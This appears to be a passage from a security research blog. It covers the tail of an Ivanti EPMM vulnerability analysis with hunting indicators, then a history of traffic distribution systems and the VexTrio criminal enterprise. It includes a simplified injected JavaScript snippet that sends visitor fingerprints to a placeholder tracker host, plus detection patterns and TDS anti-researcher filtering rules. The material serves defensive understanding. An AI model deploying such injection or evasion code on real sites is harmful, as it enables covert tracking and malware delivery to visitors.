In-Memory Implants: The sleeper webshells identified at /mifs/403.jsp are loaded as in-memory Java class loaders. They’re dormant until activated with a specific trigger parameter. They don’t write to disk. They don’t generate obvious network traffic. They just sit there waiting. Memory forensics is the only reliable way to detect these before they activate. Once you restart the application server, they’re gone, and you’ll never know they were there.

Absence of Evidence Is Not Evidence of Absence: The public PoC was released days after exploitation began in the wild. The actual zero-day exploitation may have used different techniques, different payload delivery methods, different persistence mechanisms. Just because you don’t see the known indicators doesn’t mean you weren’t compromised. It means the attackers were more sophisticated than the public exploit.

The Deleted Data Problem: The Dutch Data Protection Authority incident revealed that EPMM doesn’t permanently delete removed data; it just marks it as deleted. This means attackers potentially had access to device and user data for all organizations that ever used the compromised EPMM instance, not just current users. Your forensic scope needs to account for this.

Attribution Uncertainty: The primary exploitation IP identified by GreyNoise (193.24.123.42, AS200593 PROSPERO OOO) is linked to bulletproof hosting infrastructure associated with malware distribution. But IP geolocation reflects where the infrastructure is registered, not where the operator is sitting. Multiple threat actors may be using the same infrastructure. Attribution is murky at best.

Detection and Hunting

Start with the Ivanti-provided regex against Apache access logs:

^(?!127\.0\.0\.1:\d+ .*$).*?\/mifs\/c\/(aft|app)store\/fob\/.*?404

This filters for 404 responses to vulnerable endpoints while excluding legitimate localhost traffic. But as discussed above, this is your baseline, not your conclusion.

Hunt for Bash Command Indicators:

Look for URL-encoded or direct Bash constructs in GET requests:

Backticks (`) or $(...) command substitution
Array references with brackets [...]
Suspicious parameter values in the st, h, or other fields
Multiple underscores or delimiter characters that suggest parameter injection

Check for the Sleeper Webshell:

find /mifs -name "403.jsp" -type f

Presence of /mifs/403.jsp is a confirmed indicator of compromise. This is the path identified by Defused Cyber for the dormant in-memory class loader campaign.

DNS Analysis:

Attackers are using DNS for C2. Look for:

Unusual outbound DNS queries from the EPMM server
High frequency of DNS requests to non-standard domains
Long subdomain strings that may be encoding data

Review Administrative Actions:

New or modified EPMM administrator accounts
Changes to device management policies
Unauthorized application deployments to managed devices
Modifications to authentication configurations (LDAP, SAML, etc.)
Network or security configuration changes

Process Analysis:

If the system is still running (before patching):

Unexpected Java processes
Processes spawned by the Apache user
Unusual parent-child process relationships
Short-lived processes that may be executing commands and immediately terminating

Network Connections:

Outbound connections from the EPMM server to unexpected destinations
Particularly suspicious: connections to known bulletproof hosting ASNs
As of this writing, GreyNoise has identified 8 unique exploitation source IPs, with 193.24.123.42 accounting for 83% of observed activity

File Integrity Monitoring:

Compare current system state against known-good baselines:

Bash scripts in /mi/bin/ (should be replaced with Java classes after patching)
Apache configuration files
Application files in /mi/files/
Any unexpected files in system directories

Hunt Across Your Environment:

If one EPMM instance was compromised, threat actors may be moving laterally:

Check for unusual authentication attempts from the EPMM server’s IP
Look for credential theft or pass-the-hash attempts
Review access logs on systems the EPMM instance can reach
EPMM servers often have privileged access to enterprise resources due to their role in mobile device management

Post-Remediation Validation:

Verify the patch applied correctly by checking Apache configuration files in /mi/config-system/xsl/httpd_ssl_conf.xsl. The RewriteMap directives should point to Java classes, not Bash scripts.
Test exploitation attempts against your patched instance using the public PoC. If the patch is applied correctly, exploitation attempts should fail. (Use a non-production instance for testing if possible.)
Run Ivanti’s detection RPM to generate the ivanti_checks log file. Review findings in the context of your broader forensic investigation.

Assume Compromise:

NCSC-NL guidance is clear: all organizations using Ivanti EPMM should assume compromise and conduct a forensic investigation. The zero-day exploitation period before disclosure means you may have been compromised without knowing it. The sleeper webshell campaign means you may be compromised right now and not see any active exploitation. Patching stops future exploitation; it doesn’t undo past compromise.

Closing Assessment

CVE-2026-1281 and CVE-2026-1340 represent everything wrong with how these incidents unfold. Sophisticated zero-day exploitation affecting government and critical infrastructure. Vendor disclosure only after compromise is already in progress. Temporary patches that don’t persist through normal maintenance operations. Public PoC code released within 24 hours. Mass exploitation accelerating daily. Initial access brokers installing sleeper webshells for future operations.

The technical exploitation is genuinely clever. Bash arithmetic expansion abuse through nested variable dereferencing is not something you stumble into by fuzzing. This required either deep understanding of shell evaluation mechanics or an incredible amount of reverse engineering effort. The fact that this was discovered and weaponized as a zero-day suggests a well-resourced threat actor with both technical sophistication and strategic patience.

The forensic implications are sobering. In-memory implants that don’t survive reboots. Log manipulation by attackers with code execution. Deleted data that isn’t actually deleted. Detection gaps during the zero-day exploitation period. Limited indicators of compromise during the sleeper shell phase. This is a nightmare scenario for defenders trying to determine scope of compromise.

If you’re running EPMM, the question is not “were we targeted?” It’s “when were we compromised, and what did they take?” With approximately 1,600 instances exposed globally and confirmed exploitation by initial access brokers, the probability of compromise is high. The time to act was January 29 when the advisory dropped. The next best time is now.

Patch. Investigate. Assume compromise. Harden your defenses. This vulnerability isn’t just another critical RCE; it’s a case study in how sophisticated threat actors exploit enterprise infrastructure at scale.

And for the love of all that is holy, stop passing user input through Bash arithmetic expansion.

References

Ivanti Security Advisory: CVE-2026-1281 & CVE-2026-1340
CISA Known Exploited Vulnerabilities Catalog: CVE-2026-1281
watchTowr Labs Technical Analysis: Someone Knows Bash Far Too Well
GreyNoise: Active Ivanti Exploitation Traced to Single Bulletproof IP
Rapid7: Critical Ivanti EPMM Zero-Day Exploited in the Wild
NVD: CVE-2026-1281

Internet Traffic Brokers: A History of TDS and the VexTrio Criminal Enterprise (Part 1)

Sat, 10 Jan 2026 00:00:00 +0000

The Business Model You’ve Never Heard Of

Most people writing about cybercrime focus on the sexy stuff. APT groups with nation-state backing. Zero-day exploits sold for six figures. Ransomware crews making headlines. That’s all fine for the threat intel reports and conference presentations, but if you actually want to understand how modern cybercrime operates at scale, you’re looking in the wrong place.

The real money isn’t in writing malware. It’s not even in deploying it. The real money is in owning the distribution pipeline. And nobody owns that pipeline like Traffic Distribution Systems.

Traffic Distribution Systems (TDS) are the FedEx of cybercrime. They don’t care what you’re shipping. They just move packages from point A to point B, charging a fee for every delivery. Except instead of moving boxes, they’re moving compromised web traffic. And instead of delivering to your doorstep, they’re delivering victims to malware landing pages, phishing sites, and scam operations.

VexTrio isn’t just another TDS. It’s the culmination of two decades of criminal evolution, a multinational enterprise that controls nearly 100 companies across adtech, energy, construction, and hospitality. Yes, hospitality. They own ski resorts. By 2024, their affiliate network Los Pollos claimed 2 billion unique monthly users. GoDaddy determined that 40% of compromised websites they observed were funneling traffic to VexTrio infrastructure. This isn’t a hacking group operating out of a basement. This is organized crime running at Fortune 500 scale.

The Evolution of TDS: From Exploit Kits to Criminal Infrastructure

To understand VexTrio and the modern TDS landscape, you need to understand where this all came from. The concept isn’t new. It’s been iterating and improving since at least 2011 when Symantec first documented cybercriminals using traffic distribution to deliver exploit kits based on victim profiles.

The Exploit Kit Era (2011-2016)

Back in the early 2010s, exploit kits ruled web-based malware distribution. Angler, Nuclear, Blackhole. These were turnkey malware delivery platforms that automatically exploited browser vulnerabilities to install ransomware, banking trojans, and everything in between.

Every major exploit kit included a TDS component, though back then they called it a “gate” or “fingerprinting system.” The concept was simple: not every victim is worth attacking. Someone browsing from a corporate security vendor’s IP range? Don’t waste an exploit on them. Someone using an outdated version of Internet Explorer from a residential IP? Perfect target.

These early TDS implementations were primitive by today’s standards. They filtered on basic parameters like User-Agent, IP geolocation, and browser plugins. But they worked well enough that Nuclear EK became the preferred distribution method for Locky ransomware, one of the most devastating campaigns of the mid-2010s.

Then law enforcement started taking down the major exploit kit operations. Nuclear went dark in 2016. Angler disappeared around the same time. The exploit kit model had a fundamental problem: these were monolithic operations. Take down the infrastructure, and the entire operation collapses.

The Disaggregation Phase (2017-2020)

Smart criminals learned from this. Instead of building vertically integrated operations where one group controlled everything from traffic acquisition to payload delivery, they started specializing. Some groups focused on compromising websites. Others developed the exploitation frameworks. And a third group emerged to handle the middleman role: traffic distribution.

BlackTDS appeared in late December 2017, advertised on dark web forums as “Cloud TDS.” For $6 per day, threat actors could route their traffic through BlackTDS infrastructure without needing to run their own servers. The service promised anti-bot filtering to keep out researchers, fresh HTTPS domains with clean reputations, and API integration with popular exploit kits.

The advertisements were refreshingly honest about what they were selling: “Cloacking antibot tds based on our non-abuse servers from $3 per day of work. You do not need your own server to receive traffic. API for working with exploit packs and own solutions for processing traffic for obtaining installations (FakeLandings). Dark web traffic ready-made solutions.”

Proofpoint researchers observed TA505, a group known for massive spam campaigns distributing ransomware and banking trojans, using BlackTDS to redirect victims to pharmaceutical spam sites. The fact that a major threat actor was outsourcing their traffic distribution to a third-party service was significant. It meant TDS-as-a-Service was viable.

Around the same time, other TDS operations launched, each with different business models and technical approaches. These would become the foundation of the modern TDS ecosystem that powers cybercrime distribution today.

Keitaro TDS: The Legitimate Face of Cybercrime Infrastructure

Keitaro is the most complex case study in the TDS ecosystem. It’s a legitimate Estonian company founded in 2009 by Artur Sabirov (who also founded marketing software vendor Apliteni in 2006). The company openly markets itself as an advertising tracker with flow distribution functionality for A/B testing and traffic management.

And they’re not lying. Keitaro is used by legitimate affiliate marketers globally. The problem is that it’s also extensively abused by cybercriminals, and Keitaro’s position on this abuse has been… ambiguous at best.

The technical capabilities that make Keitaro valuable for legitimate advertising also make it perfect for malware distribution. The platform provides sophisticated filtering based on browser version, geographic location, OS/platform, mobile carrier, and IP range. It can enforce unique hits by tracking users via IP and cookies across variable timeframes. It supports multiple campaign streams with linear or randomized selection.

Here’s where it gets interesting: Keitaro includes features that seem specifically designed for malicious use. The platform integrates with AV checking services that don’t share samples with the AV industry, allowing operators to verify their malware remains undetected. The help documentation explicitly explains how to break referrer chains, directly impacting researcher’s ability to trace activity and connect exploit kit instances back to originating sites.

Keitaro’s Cookie structure is distinctive. When analyzing HTTP traffic, the Set-Cookie value contains a Base64-encoded block set to a variable named 3f06b. This is a reliable indicator of Keitaro TDS in network traffic and has been incorporated into multiple detection signatures.

Throughout its history, Keitaro has been linked to major cybercrime operations. RIG and Nuclear exploit kits used Keitaro for traffic distribution starting in 2019. SocGholish operations have relied heavily on Keitaro infrastructure since at least 2022. ClearFake, the fake browser update campaign, routes substantial traffic through Keitaro instances. Russian influence operations including the Doppelganger disinformation campaign in 2022 used Keitaro to target audiences in the U.S., Ukraine, and Germany.

The malware distributed through Keitaro reads like a who’s who of modern threats: AZORult, Predator the Thief, KPOT, SystemBC, Osiris, Chthonic, Vidar Stealer, Amadey downloading Danabot, Gootkit, and countless others. In August 2019, Keitaro was observed funneling traffic to Fallout and RIG exploit kits based on victim vulnerabilities and geolocation.

Keitaro’s official stance is that they’re a legitimate business and any abuse is from cracked versions of their software. They point to nulled software marketplaces like NullSEO that distribute pirated Keitaro installations bypassing license validation. These cracked copies supposedly allow cybercriminals to use the platform without paying for legitimate licenses.

The problem with this narrative is that cracked software doesn’t explain the extensive documentation on breaking referrer chains or the AV integration features. Legitimate A/B testing doesn’t need those capabilities. Security researchers who’ve analyzed Keitaro’s operations note that the company appears aware of how threat actors use their product and have made design choices that support malicious use cases.

Proofpoint’s assessment in 2019 summarizes the challenge: “Because Keitaro also has many legitimate applications, it is frequently difficult or impossible to simply block traffic through the service without generating excessive false positives.” This dual-use problem makes Keitaro infrastructure nearly impossible to defend against at scale.

By 2025, researchers estimated Keitaro was delivering malware through thousands of compromised websites and continued to be a primary traffic source for SocGholish operations. The platform’s ties to Russia (website hosted on Russian nameservers for over a decade, Russian language support, connections to Russia-based RIG and Nuclear exploit kit operators) raise additional questions about the company’s true nature.

Prometheus TDS: Underground Subscription Service

If Keitaro represents the gray area between legitimate business and cybercrime, Prometheus TDS is unambiguously criminal. The service appeared in September 2020 when a user named “Ma1n” advertised it on Russian underground forums.

Ma1n wasn’t new to the scene. He’d been active since at least October 2018, selling mass email services, non-blacklisted business-grade SMTP servers for spam campaigns, and web traffic redirect services through BlackTDS and Keitaro. By 2020, he’d acquired enough expertise to build his own solution. Prometheus TDS launched at $250 per month, marketed as a “professional redirect system” with anti-bot protection suitable for email marketing, traffic generation, and social engineering.

The infrastructure is subscription-based Crimeware-as-a-Service. Customers rent access to Prometheus’s network of compromised websites. They configure their malware payload, specify targeting parameters (geographic location, browser, OS version, language), and provide lists of hacked servers. Prometheus scans the provided servers, deploys PHP backdoors, and begins routing traffic.

The typical attack chain starts with spam emails containing HTML attachments, Google Doc links, or web shell URLs. Victims who click land on websites running Prometheus.Backdoor, a PHP script that fingerprints the visitor (browser, OS, timezone, language) and transmits this data to C2 servers. The C2 analyzes the profile against campaign parameters and either redirects to a malicious payload or sends the victim to a benign page.

Prometheus has been used to distribute some of the most dangerous malware families observed in recent years. BlackBerry researchers documented Campo Loader (used to distribute TrickBot and Ursnif), Hancitor, IcedID, QBot, SocGholish, Buer Loader, VBS Loader, and numerous others flowing through Prometheus infrastructure. Group-IB’s analysis found 34 malicious documents in a single campaign delivering Hancitor, with victims redirected to DocuSign phishing pages or fake banking sites using IDN domains.

Beyond malware, Prometheus has been used for bank phishing, pharmaceutical spam, fake VPN distribution, and tech support scams. The versatility of the platform makes it attractive to diverse criminal operations.

One of the most interesting discoveries about Prometheus is its connection to cracked Cobalt Strike installations. BlackBerry researchers identified a specific SSL public key (MD5: e9ae865f5ce035176457188409f6020a) that appeared in over 16% of their Cobalt Strike dataset. This single SSL key pair was observed in operations using DarkCrystalRAT, FickerStealer, Cerber, REvil, Ryuk, BlackMatter, FIN7, IcedID, and an initial access broker named Zebra2104.

The theory is that Prometheus operators distribute this cracked Cobalt Strike version to their customers, either as part of a standard playbook or pre-configured VM installation. This would explain why so many disparate criminal groups are using the identical SSL key pair. It’s not coincidence. It’s infrastructure-as-a-service extending beyond just traffic distribution into post-exploitation tooling.

Prometheus.Backdoor is believed to be deployed via vulnerable PHPMailer installations on WordPress sites, though other compromise vectors are likely used as well. Once installed, the backdoor is lightweight and difficult to detect, blending in with legitimate PHP code on the server.

The service remains active as of 2025. Group-IB analysts observe new Prometheus.Backdoor infections daily, and admin panels for new customers appear regularly on C2 infrastructure. Ma1n continues to maintain and update the service, adapting to defensive measures and evolving with the cybercrime ecosystem.

Parrot TDS: Mass Compromise at Global Scale

Parrot TDS emerged in October 2021 as a next-generation traffic distribution network focused on massive scale. Unlike Prometheus’s subscription model or Keitaro’s commercial platform, Parrot operates through wholesale compromise of vulnerable web servers.

By March 2022, Avast researchers documented over 16,500 compromised websites infected with Parrot TDS, including personal sites, university servers, adult content platforms, and local government resources. The operation is notable for its sheer reach. In a single month (March 2022), Avast protected over 600,000 unique users from infected Parrot sites, with the most impacted regions being Brazil (73,000 users), India (55,000 users), and the United States (31,000 users).

Parrot’s technical implementation comes in two variants: proxied and direct. Both versions inject malicious JavaScript into legitimate files on compromised servers. The injected code contains distinctive keywords (ndsj, ndsw for landing scripts; ndsx for payload scripts) that make Parrot relatively easy to identify in network traffic if you know what to look for.

The proxied version communicates with TDS infrastructure via malicious PHP scripts on the compromised server. When a victim visits an infected page, the landing script fingerprints them (IP address, User-Agent, referrer, cookies) and sends this data to the PHP proxy. The proxy contacts Parrot’s C2 infrastructure and receives instructions, which are then passed back to the victim’s browser. The direct version skips the local PHP proxy and contacts C2 servers directly via JavaScript.

Parrot’s primary customer is SocGholish (also known as FakeUpdate). The relationship was identified even in the earliest Avast reports from 2022. SocGholish operators leverage Parrot’s massive compromise network to present fake browser update prompts to filtered victims. The JavaScript delivered through Parrot contains Base64-encoded ZIP archives with malicious payloads that install Remote Access Tools when executed.

The filtering logic is multilayered. Parrot performs initial filtering based on IP address, User-Agent, and referrer. Only victims passing these checks receive the secondary payload script. SocGholish then applies additional filtering, checking for WordPress administrators, previously infected users, automated browsers, and unusually small screen sizes that might indicate sandbox environments.

What makes Parrot particularly dangerous is its focus on poorly secured WordPress and Joomla installations. Operators appear to select targets based on security posture rather than specific industries or content types. If a website runs vulnerable CMS software with weak credentials, it becomes part of the Parrot network. This opportunistic approach has resulted in an extremely diverse set of compromised sites across every sector imaginable.

Alongside the JavaScript injections, researchers discovered web shells providing persistent remote access to compromised servers. These web shells allow Parrot operators to maintain access even if the malicious JavaScript is detected and removed. The combination of JavaScript injection and web shell persistence makes remediation difficult without comprehensive server auditing.

Palo Alto Networks Unit 42 has continued tracking Parrot evolution through 2024, documenting changes in obfuscation techniques and payload delivery methods. The distinctive keywords in Parrot scripts remain consistent enough for signature-based detection, though the surrounding code is regularly modified to evade static analysis.

By 2025, Parrot infrastructure continues to operate alongside other TDS systems. SocGholish operators now use both Parrot TDS and Keitaro TDS for traffic distribution, with Parrot handling large-scale commodity traffic and Keitaro providing more sophisticated filtering for premium campaigns.

The TDS Ecosystem: Infrastructure for Every Budget

What these various TDS operations demonstrate is specialization and market segmentation within cybercrime infrastructure.

Keitaro serves the commercial market. It’s expensive, feature-rich, and provides the sophisticated filtering that professional operations demand. The legal ambiguity around its use makes it difficult for law enforcement to shut down, and the legitimate customer base provides cover for malicious use.

Prometheus caters to mid-tier operations that want turnkey infrastructure without building their own. For $250/month, criminals get access to an established network of compromised sites, automated payload delivery, and integration with common malware families. It’s the software-as-a-service model applied to cybercrime.

Parrot focuses on volume. It doesn’t offer the sophisticated filtering of Keitaro or the managed service approach of Prometheus. Instead, it provides raw scale through wholesale WordPress compromise. For operations like SocGholish that need to filter millions of potential victims to find thousands of valuable targets, Parrot’s massive footprint is ideal.

VexTrio, which we’ll explore in detail shortly, represents the enterprise tier. They don’t just operate a TDS. They’ve built an entire vertically integrated criminal enterprise with traffic distribution as the core business function.

All of these operations share common characteristics: network of compromised websites as traffic sources, fingerprinting and filtering to identify valuable victims, multi-hop redirect chains to obscure the final payload, integration with legitimate infrastructure (CDNs, DNS providers) to avoid detection, and continuous adaptation to defensive measures.

The VexTrio Model (2017-Present)

VexTrio launched its TDS infrastructure in 2017, coinciding with the earliest versions of SocGholish malware. But VexTrio did something different. Instead of just running a TDS, they built an entire ecosystem.

The operation is actually a merger of two distinct criminal factions that had been building capabilities independently since 2004. An Italian group centered around Tekka Group and Crownstone LLC had been running online dating scams and spam operations. Key figures held degrees from the London School of Economics and Bocconi University. These weren’t technical people. They were business operators who understood customer acquisition, conversion funnels, and how to structure shell companies across multiple jurisdictions.

Simultaneously, an Eastern European group was building technical infrastructure through entities like AdsPro Group. Where the Italian faction excelled at front-end operations, the Eastern European team brought deep engineering capabilities for large-scale traffic manipulation.

In 2020, these two factions formally merged into what researchers now call VexTrio Viper, a multinational structure encompassing nearly 100 companies. They own entities in adtech, energy, construction, hospitality, and mobile app development. Some of these companies are completely legitimate. Others exist solely to provide infrastructure for cybercrime operations. Most fall somewhere in between.

The genius of VexTrio’s model is vertical integration hidden behind horizontal diversification. They control every step of the scam supply chain while making each component look like a standalone legitimate business.

The VexTrio Ecosystem: How It All Fits Together

VexTrio operates through layers of commercial entities that blur the line between legitimate business and organized crime.

The Affiliate Networks

Three companies serve as the public-facing operations:

Los Pollos is the flagship. Named after the fictional chicken restaurant in Breaking Bad (because criminal masterminds have a sense of humor), Los Pollos operates as a Cost-Per-Action (CPA) network. In 2024, they claimed 200,000 affiliates and over 2 billion unique monthly users with 3 million conversions. Those numbers are probably inflated, but even if they’re off by 50%, the scale is staggering.

Los Pollos openly acknowledged on Black Hat World forums that they operate as a “black hat CPA” network. They weren’t hiding what they were. They just positioned it as “aggressive marketing” rather than cybercrime.

TacoLoco specializes in push monetization, claiming to process over 1 million requests per second. Push notifications have become a primary malware distribution vector in recent years. Users visit a compromised website, get prompted to “allow notifications,” and then receive a steady stream of scam links directly to their desktop or mobile device. TacoLoco monetizes this at massive scale.

Adtrafico rounds out the trio, operating similar services with slightly different geographic and technical focuses.

All three are connected to AdsPro Group, a Czech company (formerly Adspro Group, now AimedGlobal) that uses Teknology SA for infrastructure. Teknology SA is run by Giulio Vittorio Leonardo Cerutti, who also controls ByteCore AG and SkyForge Digital AG, both registered in Switzerland.

The corporate structure is deliberately complex. Companies registered in Switzerland benefit from strong privacy protections. Operations run from Prague, Bulgaria, Montenegro, and Moldova where labor is cheaper and regulatory oversight is lighter. Payment processing happens through yet another set of entities. It’s corporate matryoshka dolls all the way down.

The Technical Infrastructure

Despite the massive scale, VexTrio runs the entire global operation on fewer than 250 virtual machines. This seems impossible until you understand their architecture.

They don’t host content. They don’t store malware. They just route traffic. It’s all redirect chains and DNS manipulation. The heavy lifting happens on compromised WordPress sites and legitimate CDN providers who don’t realize they’re being abused.

The infrastructure stack includes:

PowerDNS for rapid zone changes when domains get burned
Cloudflare and Akamai CDN for edge distribution
HashiCorp tools (Terraform, Consul, Vault) for deployment automation
Kubernetes for container orchestration
Binom for advertising analytics and traffic routing logic

This is modern DevOps applied to cybercrime. Infrastructure-as-code. Continuous deployment. Automated monitoring and recovery. The technical sophistication matches or exceeds many legitimate tech companies.

The Financial Layer

VexTrio doesn’t just broker traffic. They run their own payment processors. They operate email validation services to support spam campaigns. They develop fraudulent products including fake dating sites, ecommerce portals, and cryptocurrency investment platforms.

The financial incentives they offer affiliates are substantial. Over $100 per lead for fraudulent antivirus products. “Blank credit card” scams promising six-figure paydays with up to 300% ROI. These aren’t sustainable business models, obviously. They’re fraud. But the payouts are real enough to attract hundreds of affiliate partners.

Traditional affiliate advertising networks like AdsTerra and PropellerAds process payments for VexTrio operations, providing a veneer of legitimacy. Money flows through multiple shell companies across multiple jurisdictions, making it nearly impossible to trace the ultimate beneficiaries.

The Affiliate Network: Who Uses VexTrio?

Infoblox has tracked relationships between VexTrio and over 60 affiliate operations. Some of these relationships have lasted more than four years, demonstrating something rarely seen in cybercrime: long-term trust built on consistent revenue generation.

SocGholish

SocGholish is probably VexTrio’s most well-known affiliate. The malware masquerades as browser update prompts, perfectly mimicking Chrome, Edge, or Firefox update interfaces in the victim’s native language. When users download and execute the “update,” they get a JavaScript payload that drops secondary malware, typically NetSupport RAT, AsyncRAT, or Cobalt Strike beacons.

SocGholish operators have used initial access to deploy ransomware, conduct corporate espionage, and facilitate business email compromise campaigns. The malware is sophisticated, but the real value is in the distribution. VexTrio provides SocGholish with high-quality victim traffic filtered by operating system, browser type, geographic location, and visit recency.

The partnership goes back to at least April 2022, possibly earlier. SocGholish only wants Windows users on first visits with modern browsers. VexTrio’s filtering ensures they only pay for traffic that meets those specifications.

ClearFake

ClearFake is another fake update campaign, but with a twist. Instead of just mimicking browser updates, ClearFake also impersonates reCAPTCHA prompts and other common web elements. The operation uses Keitaro TDS for some of its traffic routing, but feeds substantial volume through VexTrio infrastructure.

ClearFake specifically targets Chrome users. The filtering is aggressive: wrong browser, wrong geography, VPN IP address, hosting provider range, or security researcher user-agent all result in benign redirects. Only perfect victim profiles get the malware landing page.

In December 2023, researchers observed ClearFake injecting code that loaded cryptocurrency libraries and interacted with Binance Smart Chain. The malware was attempting to drain crypto wallets in addition to delivering traditional payload droppers.

Balada, DollyWay, and Sign1

These are WordPress compromise campaigns that feed traffic into VexTrio infrastructure. They don’t operate malware themselves. They just compromise websites and inject redirect scripts.

GoDaddy published extensive research on DollyWay in March 2025, revealing it had compromised over 20,000 WordPress sites over eight years. The campaign is tracked as “DollyWay World Domination” based on a string found in the malware code: define('DOLLY_WAY', 'World Domination');. Someone has a sense of humor.

Sign1 compromised over 39,000 WordPress sites by exploiting the Simple Custom CSS and JS plugin. Balada has been active since 2017, continuously rotating through different compromise techniques as older vulnerabilities get patched.

All three campaigns inject malicious JavaScript that fingerprints visitors and communicates with VexTrio TDS infrastructure to receive redirect instructions. The sophistication varies. Balada’s code is fairly basic. DollyWay v3 uses cryptographically signed data transfers and actively removes competing malware from compromised sites to maintain exclusive access.

Other Affiliates

Beyond the major operations, VexTrio works with dozens of smaller affiliates running everything from tech support scams to pharmaceutical spam to cryptocurrency fraud. The diversity of criminal operations using VexTrio infrastructure is remarkable.

Ransomware operators use it for initial access. Credential phishing campaigns use it to evade detection. Scam operations promoting fake investment opportunities, fraudulent antivirus products, and romance scams all flow through VexTrio redirects.

The Russian disinformation operation Doppelganger was caught using Los Pollos links to distribute propaganda. This isn’t about financial crime anymore. Nation-state adjacent operations are using the same infrastructure.

How They Collect Infrastructure: The WordPress Problem

VexTrio’s entire operation depends on compromised websites. Without a steady supply of sites to inject redirect scripts into, the TDS has no traffic to distribute. So how do they acquire hundreds of thousands of compromised WordPress installations?

The WordPress Attack Surface

WordPress powers approximately 43% of all websites on the internet. That’s not a typo. Nearly half of all websites run on WordPress. It’s free, it’s flexible, and it’s everywhere. It’s also riddled with security problems, though not usually in core WordPress itself.

The problem is the plugin ecosystem. WordPress has over 60,000 plugins, many written by developers with little security training. Plugin vulnerabilities are constant. When a popular plugin has a security flaw, hundreds of thousands of sites become exploitable overnight.

VexTrio affiliates don’t need zero-days. They just need to scan for sites running vulnerable plugin versions and exploit known CVEs. Automated scanning tools make this trivial at scale.

Initial Compromise Methods

The exact initial compromise vector varies by affiliate, but common methods include:

Vulnerable Plugins: Tagdiv Composer, WPCode, Simple Custom CSS and JS, Dessky Snippets. These are all real plugins that have been exploited to inject malicious code. Attackers scan for sites running vulnerable versions, exploit the flaw, and inject their payload.

Credential Stuffing: WordPress admin panels are often protected only by username and password. Credential databases from previous breaches get tested against WordPress login pages. If the site administrator reused a password that appeared in the LinkedIn breach, the RockYou breach, or any of dozens of other compromises, the attacker gains access.

PHPMailer Vulnerabilities: Multiple WordPress sites running vulnerable versions of PHPMailer have been compromised to deploy Prometheus TDS backdoors. Once the PHP backdoor is installed, it fingerprints every visitor and sends data back to C2 servers for redirect decisions.

SQL Injection: Older WordPress sites with custom themes or poorly written plugins sometimes have SQL injection vulnerabilities. Attackers dump the database, extract admin credentials (often poorly hashed), and use those credentials to log in and modify site content.

The Persistence Problem

Getting initial access is only half the battle. Maintaining that access while evading detection is harder. VexTrio affiliates have developed sophisticated persistence mechanisms.

DollyWay, for example, doesn’t just inject malicious code once. It monitors the compromised site continuously. Every time a page loads, the malware checks if the infection is still active. If someone removed the malicious code, it reinfects from any surviving copy in other plugins or database entries. It disables security plugins. It removes competing malware. It re-obfuscates itself to evade signature-based detection.

GoDaddy researchers noted that DollyWay reinfection makes remediation extremely difficult: “If the site has heavy traffic, the chances are it will be reinfected in the process of removing malware. If you fail to remove it from all the active plugins and WPCode snippets before someone loads any page, everything will get reinfected from a single piece of malware.”

Other campaigns use similar techniques. Automated monitoring bots visit compromised sites daily, sometimes multiple times per day. They log into WordPress, verify the WPCode plugin is still activated, and ensure the malicious snippets haven’t been removed.

Their Malicious TTPs: How Traffic Actually Flows

Understanding VexTrio’s tactics requires walking through the entire attack chain from initial site compromise to final payload delivery.

Stage 1: Website Compromise and Code Injection

An attacker identifies a WordPress site running a vulnerable plugin. They exploit the vulnerability to gain admin access or directly inject code into the database. The injected code varies by campaign, but typically falls into two categories:

Client-Side JavaScript Injection: Malicious JavaScript is injected into the site’s header, footer, or popular plugins. When visitors load the page, the script executes in their browser. The script gathers victim fingerprinting data (browser, OS, IP, language, screen resolution, referrer) and sends it to the TDS.

Example injection (simplified and de-obfuscated):

(function(){
  var info = {
    ua: navigator.userAgent,
    lang: navigator.language,
    ref: document.referrer,
    res: screen.width + 'x' + screen.height
  };
  var img = new Image();
  img.src = 'https://tracker-domain.com/log?' + encodeParams(info);
})();

The actual injected code is heavily obfuscated, often base64-encoded multiple times, and split across multiple script blocks to avoid detection.

Server-Side PHP Injection: More recent campaigns have shifted to server-side redirects. The attacker installs the WPCode plugin (if not already present) and creates a PHP snippet that executes before page rendering.

The PHP code makes a server-side DNS query to the TDS, receives redirect instructions, and issues a 302 redirect before the victim’s browser receives any HTML. From the victim’s perspective, they just got redirected from the WordPress site to wherever the TDS directed them. From a forensic perspective, unless you’re monitoring DNS queries from the web server itself, you’ll never see the TDS coordination.

Stage 2: TDS Filtering and Decision Making

The TDS receives victim fingerprinting data and applies filtering rules. VexTrio’s filtering is remarkably sophisticated:

Anti-Research Filters:

Block known VPN IP ranges (NordVPN, ExpressVPN, Private Internet Access, etc.)
Block hosting provider ranges (AWS, Azure, GCP, DigitalOcean, Linode)
Block security vendor IP ranges (Cisco, Palo Alto, Fortinet, Symantec)
Block user-agents associated with automation (curl, wget, python-requests, headless browsers)

Victim Quality Filters:

Require legitimate browser user-agents
Check if JavaScript is enabled
Verify browser canvas fingerprint to detect headless browsers
Require specific geographic regions for some campaigns
Check visit recency (first visit vs. returning visitor)
Verify referrer is from a search engine for SEO poisoning campaigns

Affiliate Requirement Matching:

SocGholish wants Windows users only
ClearFake wants Chrome specifically
Some campaigns only want mobile traffic
Others require desktop with specific screen resolutions

If the victim fails any check, they get redirected to a benign destination (usually Google or a 404 page). If they pass all checks, the TDS selects an appropriate affiliate campaign and returns redirect instructions.

Stage 3: The Redirect Chain

Victims who pass filtering get redirected through multiple hops:

Compromised WordPress site redirects to VexTrio CDN domain
CDN domain redirects to intermediary controller
Intermediary controller redirects to campaign landing page
Landing page delivers payload

Each hop happens in 200-500ms. The entire chain completes in under 2 seconds. From the victim’s perspective, they clicked a link on a WordPress site and ended up on a page showing a Chrome update prompt. They have no idea they were routed through a criminal traffic distribution network.

Stage 4: Payload Delivery

The final landing page varies by affiliate:

SocGholish: Fake browser update page in the victim’s language. Clicking “Update” downloads a ZIP file containing a JavaScript payload. The filename often uses Cyrillic characters to evade detection. When executed, the JavaScript drops NetSupport RAT, AsyncRAT, or Cobalt Strike.

ClearFake: Similar fake update prompts, but also impersonates reCAPTCHA and other common web elements. Some variants attempt cryptocurrency wallet drainage in addition to malware delivery.

Scam Operations: Victims land on pages promoting fake antivirus products, fraudulent investment opportunities, romance scams, or tech support scams. These pages are professionally designed, often more polished than legitimate sites, and include fake testimonials, countdown timers creating urgency, and other conversion optimization techniques.

Stage 5: Post-Exploitation

What happens after payload execution depends on the affiliate’s objectives:

Ransomware Operations: Initial access gets sold to ransomware operators who conduct reconnaissance, move laterally, exfiltrate sensitive data, and deploy ransomware for double extortion.

Credential Theft: Stealers like Ficker and Redline grab browser passwords, cryptocurrency wallets, session cookies, and any other valuable data before exfiltrating to attacker C2 servers.
